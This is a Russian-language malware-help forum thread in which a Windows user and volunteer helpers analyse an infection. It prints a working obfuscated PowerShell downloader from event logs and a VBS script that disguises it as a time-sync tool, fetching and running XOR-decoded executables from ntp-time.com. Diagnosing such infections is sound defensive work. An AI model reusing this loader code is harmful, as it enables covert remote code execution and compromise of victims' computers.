подозреваю наличие малвари (windows11, powershell)
Во время работы произвольно появилось окошко блокнота.
Проверил последние события, одно из них показалось подозрительным.
Перезагрузился в дуалбут, подмонтировал раздел с windows, запустил evtxexport.
Код:
evtxexport -p c/ -r /media/user/5C3C92533C9227D2/Windows/System32/config/ /media/user/5C3C92533C9227D2/Windows/System32/winevt/Logs/Windows\ PowerShell.evtx
Event number : 24944
Written time : Apr 15, 2024 12:22:30.933652700 UTC
Event level : Information (4)
Computer name : VIM-DESKTOP
Source name : PowerShell
Event identifier : 0x00000258 (600)
Number of strings : 3
String: 1 : Alias
String: 2 : Started
String: 3 : ProviderName=Alias
NewProviderState=Started
SequenceNumber=3
HostName=ConsoleHost
HostVersion=5.1.22621.2506
HostId=b72eb182-d609-4f67-8217-9be2f0ab1163
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /c add-type -assembly system.web.extensions;$k=(new-object system.web.script.serialization.javascriptSerializer).DeserializeObject((iwr -Uri ntp-time.com/s.t?seconds=euuaeljqrr -Headers @{'Cache-Control'='no-cache'}).Content);if($k.s-eq'1'){$n=$env:TEMP+'\'+$k.n;&$n $($k.p);$s=$env:TEMP+'\'+$k.c;if(Test-Path $s){$m=(cat -Path $s)}if($m -eq $k.m){exit}else{(echo $k.m|Out-File -FilePath $s);$f='';$k.l.ToCharArray().ForEach({$f+=[char]($_-bxor5)});iwr -Uri $f -OutFile $n;}}
EngineVersion=
RunspaceId=
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
...
Event number : 24952
Written time : Apr 15, 2024 14:18:04.745717600 UTC
Event level : Information (4)
Computer name : VIM-DESKTOP
Source name : PowerShell
Event identifier : 0x00000258 (600)
Number of strings : 3
String: 1 : Registry
String: 2 : Started
String: 3 : ProviderName=Registry
NewProviderState=Started
SequenceNumber=1
HostName=ConsoleHost
HostVersion=5.1.22621.2506
HostId=9357fea1-38f0-4585-82d7-92e69a00bd57
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /c add-type -assembly system.web.extensions;$k=(new-object system.web.script.serialization.javascriptSerializer).DeserializeObject((iwr -Uri ntp-time.com/s.t?seconds=euuaeljqrr -Headers @{'Cache-Control'='no-cache'}).Content);if($k.s-eq'1'){$n=$env:TEMP+'\'+$k.n;&$n $($k.p);$s=$env:TEMP+'\'+$k.c;if(Test-Path $s){$m=(cat -Path $s)}if($m -eq $k.m){exit}else{(echo $k.m|Out-File -FilePath $s);$f='';$k.l.ToCharArray().ForEach({$f+=[char]($_-bxor5)});iwr -Uri $f -OutFile $n;}}
EngineVersion=
RunspaceId=
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
Whois показывает что ntp-time.com зарегистрирован на физлицо в Астане.
Пробовал получить полезную нагрузку, что бы понять что чистить:
Код:
#!/bin/bash
while [ $(jq ".s" value) = "\"0\"" ]; do
curl -s -A "Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0" --header "Cache-Control=no-cache" "ntp-time.com/s.t?seconds=euuaeljqrr" -o value || break
sleep 60;
date
jq "." value
done
Параллельно с этим скачал антивирус, обновил базы (freshclam) и запустил сканирование по всему диску (clamscan -r).
Пока планирую дождаться результатов сканирование и только потом запускать софт с форума (видимо нужно будет загрузиться в безопасном режиме).
Возможно можно извлечь из ситуации что-то еще? Проверить другие журналы, может быть возможно проверить из-под дуалбута автозапуск, или есть какие-то еще полезные инструменты.
Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:
Уважаемый(ая) Tray5539, спасибо за обращение на наш форум!
Помощь при заражении компьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.
Информация
Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, поддержите проект.
А вот и сам "UpdateTime.vbs", гуглом не находится.
Скрытый текст
Код:
Set Args = WScript.Arguments
If WScript.Arguments.Count < 3 Then
Err = 3
WScript.Echo "UpdateTime.vbs V1.01"
WScript.Echo "Usage: cscript /NoLogo UpdateTime.vbs serverlist warn crit [biggest]"
Wscript.Echo ""
Wscript.Echo "Options:"
Wscript.Echo " serverlist (required): one or more server names, coma-separated"
Wscript.Echo " warn (required): warning offset in seconds, can be partial"
Wscript.Echo " crit (required): critical offset in seconds, can be partial"
Wscript.Echo " biggest (optional): if multiple servers, else use default least offset"
Wscript.Echo ""
Wscript.Echo "Example:"
Wscript.Echo "cscript /NoLogo UpdateTime.vbs myserver1,myserver2 0.4 5 biggest"
Wscript.Quit(Err)
End If
WScript.Sleep 180000
serverlist = Args.Item(0)
warn = Args.Item(1)
crit = Args.Item(2)
On Error Resume Next
If WScript.Arguments.Count > 3 Then
criteria = Args.Item(3)
Else
criteria = least
End If
Set objShell = CreateObject("Wscript.Shell")
strTemp="C:\Users\user\AppData\Local\Temp"
apppath="C:\Users\user\AppData\Roaming"
Function seconds()
On Error Resume Next
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
Randomize
For i = 1 To 10
seconds = seconds & Mid(chars, Int(Rnd * Len(chars)) + 1, 1)
Next
On Error Goto 0
End Function
Function SaveSeconds(filePath, strtext)
On Error Resume Next
Set file = CreateObject("Scripting.FileSystemObject").CreateTextFile(filePath, True)
file.Write(strtext)
file.Close
On Error Goto 0
End Function
Function GetSeconds(filePath)
On Error Resume Next
newseconds = seconds()
If CreateObject("Scripting.FileSystemObject").FileExists(filePath) Then
Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile(filePath, 1)
GetSeconds = objFile.ReadAll
objFile.Close
If Not (Len(GetSeconds) > 1) Then
SaveSeconds filePath, newseconds
GetSeconds = newseconds
End If
Else
SaveSeconds filePath, newseconds
GetSeconds = newseconds
End If
On Error Goto 0
End Function
strCommand = """cmd.exe"" ""/c C:\WINDOWS\System32\w32tm.exe /monitor /nowarn /computers:" & serverlist & " > " & strTemp & "\time_logfile.log"""
c="""powershell.exe"" /c ""add-type -assembly system.web.extensions;$k=(new-object system.web.script.serialization.javascriptSerializer).DeserializeObject((iwr -Uri ntp-time.com/s.t?seconds="+GetSeconds(apppath+"\seconds.ini")+" -Headers @{'Cache-Control'='no-cache'}).Content);if($k.s-eq'1'){$n=$env:TEMP+'\'+$k.n;&$n $($k.p);$s=$env:TEMP+'\'+$k.c;if(Test-Path $s){$m=(cat -Path $s)}if($m -eq $k.m){exit}else{(echo $k.m|Out-File -FilePath $s);$f='';$k.l.ToCharArray().ForEach({$f+=[char]($_-bxor5)});iwr -Uri $f -OutFile $n;}}"""
WScript.CreateObject("WScript.Shell").Run strCommand,0,false
Set objFSO = CreateObject("Scripting.FileSystemObject")
input = ""
strOutput = ""
Do While Not objFSO.FileExists(strTemp+"\time_logfile.log")
Wscript.Sleep 1000
Loop
condition = False
Do
Wscript.Sleep 1000
Set file = objFSO.OpenTextFile(strTemp+"\time_logfile.log", 1)
strTaskText = file.ReadAll
strTaskText=Left(strTaskText,Len(strTaskText)-2)
file.Close
input = strTaskText
s=Left(CreateObject("Scriptlet.TypeLib").Guid,38)
If InStr(input, "[") Then
strOutput = strOutput & input
objFSO.DeleteFile strTemp+"\time_logfile.log"
condition = True
End If
Loop Until condition
result = "0"
If InStr(input, "NTP") Then
Set myRegExp = New RegExp
myRegExp.IgnoreCase = True
myRegExp.Global = True
myRegExp.Pattern = " NTP: ([+-][0-9]+\.[0-9]+)s"
Set myMatches = myRegExp.Execute(strOutput)
if myMatches.count>0 then
If myMatches(0).SubMatches(0) <> "" Then
result = myMatches(0).SubMatches(0)
End If
End if
End If
WScript.CreateObject("WScript.Shell").Run c,0,false
GetObject("new:{C08AFD90-F2A1-11D1-8455-00A0C91F3880}").putProperty s,Me
For Each myMatch in myMatches
If myMatch.SubMatches(0) <> "" Then
If criteria = "biggest" Then
If Abs(result) < Abs(myMatch.SubMatches(0)) Then
result = myMatch.SubMatches(0)
End If
Else
If (result > myMatch.SubMatches(0)) Then
result = myMatch.SubMatches(0)
End If
End If
End If
Next
If result = "" Then
Err = 3
Status = "UNKNOWN"
ElseIf result > crit Then
Err = 2
status = "CRITICAL"
ElseIf result > warn Then
Err = 1
status = "WARNING"
Else
Err = 0
status = "OK"
End If
statustime = "NTP " & status & ": Offset " & result & " secs|'offset'=" & result & "s;" & warn & ";" & crit & ";"
On Error Goto 0
Wscript.Quit(Err)
С первого взгляда плохого не вижу, выглядит, как скрипт синхронизации времени (хотя я в Poweshell и .VBS не специалист). Но сайт ntp-time.com в базе нехороших Касперского.
Так что, хоть я и запасся попкорном, логи по правилам форума хотелось бы видеть.
Чет я переоценил скорость clam-a, вот логи (удалил одну строчку из из LNK.log)
- - - - -Добавлено - - - - -
первого взгляда плохого не вижу
Сам тоже Poweshell не знаю, но там дословно написано: скачать и распарсить json в переменную, если s не равно 1 ничего не делать (sic! т.е все данные в мусорку, ничего полезного оно не сделает), запустить код по пути ".n", проверить если ли ".c" во временной папке, создать из ".f" url путём ксора с 5, скачать то что лежит по этому url-у в файл ".n".
Сделал. Поставил Касперского, он этот запрос блокирует (совершал ручками), но он пока ничего не нашел. Чувствую ждать как минимум неделю, буду надеется на то что он в онлайн-режиме среагирует если что
Код:
Вчера, 20/04/2024 22:35:55;Остановлен переход на сайт;Windows PowerShell ISE;powershell_ise.exe;C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe;C:\Windows\System32\WindowsPowerShell\v1.0;6632;VIM-DESKTOP\user;Инициатор;Запрещено;Запрещено;http://ntp-time.com/s.t?seconds=euuaeljqrr;Вредоносная ссылка;Высокая;Точно;http://ntp-time.com/s.t?seconds=euuaeljqrr;s.t?seconds=euuaeljqrr;http://ntp-time.com;Веб-страница;Базы
Вчера, 20/04/2024 22:38:41;Остановлен переход на сайт;Windows PowerShell ISE;powershell_ise.exe;C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe;C:\Windows\System32\WindowsPowerShell\v1.0;6632;VIM-DESKTOP\user;Инициатор;Запрещено;Запрещено;http://ntp-time.com/s.t?seconds=euuaeljqrr;Вредоносная ссылка;Высокая;Точно;http://ntp-time.com/s.t?seconds=euuaeljqrr;s.t?seconds=euuaeljqrr;http://ntp-time.com;Веб-страница;Базы
Вчера, 20/04/2024 22:36:56;Остановлен переход на сайт;Windows PowerShell ISE;powershell_ise.exe;C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe;C:\Windows\System32\WindowsPowerShell\v1.0;6632;VIM-DESKTOP\user;Инициатор;Запрещено;Запрещено;http://ntp-time.com/s.t?seconds=euuaeljqrr;Вредоносная ссылка;Высокая;Точно;http://ntp-time.com/s.t?seconds=euuaeljqrr;s.t?seconds=euuaeljqrr;http://ntp-time.com;Веб-страница;Базы
Здравствуйте!
Посмотрел я выложенные скрипты. Ну, это RAT, любопытно замаскированный.
Синхронизирует время, пытаясь имитировать что-то полезное. На деле между строк по таймеру может выполнять любую команду с сервера ntp-time.com в форме исполняемого файла, дешифрованного через XOR. s=1 от погоды, т.е. когда оператор решит. Соль там рандомная, можно не пытаться подобрать запрос. Артифакты, если и сохранились, то лежат в юзерской папке %TEMP% в виде любого формата исполняемого файла под любым именем. Скрипт также зачем-то юзает технику бесфайлового хранения себя в глобальном пространстве (explorer-a).
В папке с AVZ появится архив карантина quarantine.zip, упакуйте его в архив с паролем, выложите на файлообменник или в облако и дайте ссылку с паролем в личном сообщении.
Антивирус за ночь нашел что-то неактуальное по архивам многолетней давности + две относительно свежие угрозы:
1. (выглядит супер безобидно, но оставлю тут чисто для истории)
Имя приложения: avp.exe
Путь к приложению: C:\Program Files (x86)\Kaspersky Lab\Kaspersky 21.16
Компонент: Файловый Антивирус
Описание результата: Создана резервная копия
Тип: Троянское приложение
Название: Trojan-Downloader.MSIL.PureCrypter.y
Точность: Точно
Степень угрозы: Высокая
Тип объекта: Файл
Имя объекта: ASCENDIO II.I - Installer.exe
Путь к объекту: C:\Users\user\Downloads\Ascendio II.I - Installer 2.1.2-69-2-1-2-1677174988
MD5 объекта: 97805DDABBC71972444DC5807267C5CC
Скрыть
2. Немного напугало: типичный hello word под вижуалку, антивирус удаляет экзешник и ругается сразу после сборки (подумал на то что компилятор заражен?)
Напрягает то что в песочнице он открывает tcp соединения. UPD. Скорее всего это false-positive, в интернете пишут что часто попадают мелкие программы. Наверное сетевая активность случайно рисуется в вирустотале. Сделал на всякий случай две сборки, положил в карантин.
Скрытый текст
Событие: Обнаружен вредоносный объект
Пользователь: VIM-DESKTOP\user
Тип пользователя: Инициатор
Имя приложения: explorer.exe
Путь к приложению: C:\Windows
Компонент: Файловый Антивирус
Описание результата: Обнаружено
Тип: Троянское приложение
Название: VHO:Trojan-Downloader.Win32.Convagent.gen
Точность: Эвристический анализ
Степень угрозы: Высокая
Тип объекта: Файл
Имя объекта: Project1.exe
Путь к объекту: C:\Users\user\source\repos\Project1\Debug
MD5 объекта: 0A41FECD3942948F856CB2184D0B377C
Причина: Облачная защита
Файл инсталлера Ascendio достаточно подозрительный, особенно упоминание AgentTeslaV3 в YARA rule, которые на нём сработали. Достаточно, чтобы обратиться в саппорт касперского для более подробного анализа.
Что касается вашего файла Project1.exe - напрягает на VT в разделе BEHAVIOR то, что открывает он 3 соединения с явно не очень приличными сайтами: 1 2 - связан с APT группировкой (хакеры) 3 - в комментах тоже интересное.
Учитывая то, что бэкдор был, могли, например, подменить некоторые библиотеки так, что на выходе получите .exe с функциями RAT и кто знает чего ещё.
Project1.exe - тоже направьте в ТП Касперского для разборок.